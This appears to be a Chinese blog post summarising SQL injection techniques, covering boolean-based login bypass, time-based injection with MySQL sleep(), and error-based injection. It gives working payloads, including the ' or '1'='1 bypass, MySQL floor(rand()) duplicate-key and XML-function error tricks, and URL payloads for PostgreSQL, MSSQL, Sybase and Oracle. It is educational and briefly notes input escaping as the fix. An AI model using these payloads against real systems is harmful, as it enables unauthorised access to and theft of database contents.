SQL注入小结
分类学习有利于条理化知识,大致的SQL注入分为三种:
1.BealeanBase
2.TimeBase
3.ErrorBase
1.从最简单的说起,基于布尔类型是最常见的SQL注入方式
select username, password from tb_admin where username= User and password = Pass;
这句话如果被运用的提取验证数据中,就会有布尔注入的漏洞具体如下
'select username, password from tb_admin where username='+ User +'and password =' + Pass;
看似上面出入的规范的用户名和密码都会有正确查询发生,并且都都是准确反映数据库的数据值的查询,但是如果我传入的参数如下
用户名输入:1' or '1'='1
密码: 1' or '1'='1
这样嵌入到原来的语句中就是'select username, password from tb_admin where username='1' or '1'='1' and password ='1' or '1'='1';
这样select 中就 or 了一个 永真式,这样select 返回的结果就是永真,进一步通过验证,然而事实上这种基于布尔的SQL注入越来越少了,因为
只有初学者才会这样做,但是这个原理还是要知道的。
注入原因:用户输入参数未经过验证,直接拼接入SQL查询,造成用户精心提交的数据被当作代码执行,进一步达到绕过验证的目的
解决办法:不要相信用户的任何输入,所有用户输入都要经过转义再使用
2.基于时间的注入:
这种办法就有点猥琐了,根据题目就知道这是要依据返回时间来判断执行结果的,但是如果网络状况不好那就不好判断了
就mysql 而言,涉及到的两个函数是sleep() 和 benchmark(), 但是后者占用CUP较高,所以不建议使用
Syntax:
SLEEP(duration)
Sleeps (pauses) for the number of seconds given by the duration
argument, then returns 0. If SLEEP() is interrupted, it returns 1. The
duration may have a fractional part given in microseconds.
看了sleep() 的语法就知道了,就是一个延时执行的效果
FIND_IN_SET(str,strlist)
Returns a value in the range of 1 to N if the string str is in the
string list strlist consisting of N substrings. A string list is a
string composed of substrings separated by "," characters. If the first
argument is a constant string and the second is a column of type SET,
the FIND_IN_SET() function is optimized to use bit arithmetic. Returns
0 if str is not in strlist or if strlist is the empty string. Returns
NULL if either argument is NULL. This function does not work properly
if the first argument contains a comma (",") character.
这个函数是在strlist中找str的过程,返回找到的个数
3.基于报错的盲注
就是通过网站显示的数据库等错误信息来进行逐步深入,当用二分查找得出一个32位哈希值的时候需要16×32=512次(十六进制的哈希字符,一共有16种可能),但是也有些
可以减少查询次数的方法,已知英语中字母出现次数的概率是:e,t,a,o,i,n,s,h,r,d,l,c,u,m,w,f,g,y,p,b,v,k,j,x,q,z
根据前后的顺序尝试然后再进行二分查找,这样的效率就高很多了
这个是基于复制入口点的报错
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
/* SQL错误(1062):Duplicate entry '5.5.171' for key 'group_key' */
如果关键表被禁用了,还有这样的错误可以触发:
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
/* SQL错误(1248):Every derived table must have its own alias */
如果是rand()等一些关键函数被禁用了,还可以这样:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
/* SQL错误(1054):Unknown column 'password' in 'group statement' */
上面这些都是Mysql的数据库设计的问题,所以上面的语句不适用其他数据库。
在Mysql 5.1以及后面的版本都是新加了两个xml函数,可以拿来报错:
extractvalue(),updatexml()
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
SQL注入小结的更多相关文章
- 防止SQL注入攻击的一些方法小结
SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...
- SQL注入原理小结
今天,一基友问我一个问题说:为什么SQL注入要加单引号,这个当时我一时也回答不上,怪就怪自己理论太菜,不过回去仔细思考了一下,觉得这个问题也是蛮简单的. 首先大家应该明白的一点就是SQL注入的目的:加 ...
- DVWA之SQL注入考点小结
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 嗅探、中间人sql注入、反编译--例说桌面软件安全性问题
嗅探.中间人sql注入.反编译--例说桌面软件安全性问题 今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例.从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- JAVA jdbc(数据库连接池)学习笔记(二) SQL注入
PS:今天偶然间发现了SQL的注入...所以就简单的脑补了一下,都是一些简单的例子...这篇写的不怎么样...由于自己没有进行很深的研究... 学习内容: 1.SQL注入的概念... 所谓SQL注 ...
- MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)
[声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...
- Web安全 之 SQL注入
随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据 ...
随机推荐
- Integrating JAD decompiler into JDeveloper(转)
原文地址:Integrating JAD decompiler into JDeveloper In JDeveloper, when debugging or otherwise navigatin ...
- XML CDATA的作用
操作XML文件时,如果允许用户输入内容,例如∶"< ".">"."/".""等,当生成XML时,会破坏了XM ...
- [Android] 【视频】黑马安卓62、66期等教程+源码
下载地址:http://fu83.cn/thread-58-1-1.html
- matlab绘制二维图形
常用的二维图形命令: plot:绘制二维图形 loglog:用全对数坐标绘图 semilogx:用半对数坐标(X)绘图 semilogy:用半对数坐标(Y)绘图 fill:绘制二维多边填充图形 pol ...
- js字符串截取函数slice()、substring()、substr()
摘要 在js中字符截取函数有常用的三个slice().substring().substr()了,下面我来给大家介绍slice().substring().substr()函数在字符截取时的一些用法与 ...
- wifi使用的一些误区
下面是使用过程中的一些常用的误区: 家里买了三个路由器,信道都设置成同一个,这样会比较好. 买多个路由器的时候,一个人用的时候还好,多个人用的时候就会出问题. 多个设备在同样信道的时候会产生干扰.建议 ...
- Spring Cache和MyBatis的使用
1.http://www.importnew.com/22757.html spring chache缓存的使用. 2.http://www.importnew.com/22783.html ...
- 解决方法:未在本地计算机上注册“Microsoft.Jet.OLEDB.4.0”提供程序
win7或win8 64位调试程序,出现这样的错误提示:未在本地计算机上注册 Microsoft.Jet.OLEDB.4.0 提供程序 解决方法如下: 方法一:“设置应用程序池默认属性”/“常规”/” ...
- ionic 设置logo 与 设置 启动页
1.在项目的根目录下创建resources文件夹. 2.在文件夹中都放入icon.png(应用图标,最小192x192px,不带圆角),splash.png(启动屏幕,最小2208x2208px,中间 ...
- android之文件存储和读取
一.权限问题 手机中存储空间分为ROM和SDcard,ROM中放着操作系统以及我们安装的APP,而sdcard中一般放置着我们APP产生的数据.当然,Android也为每个APP在ROM中创建一个数据 ...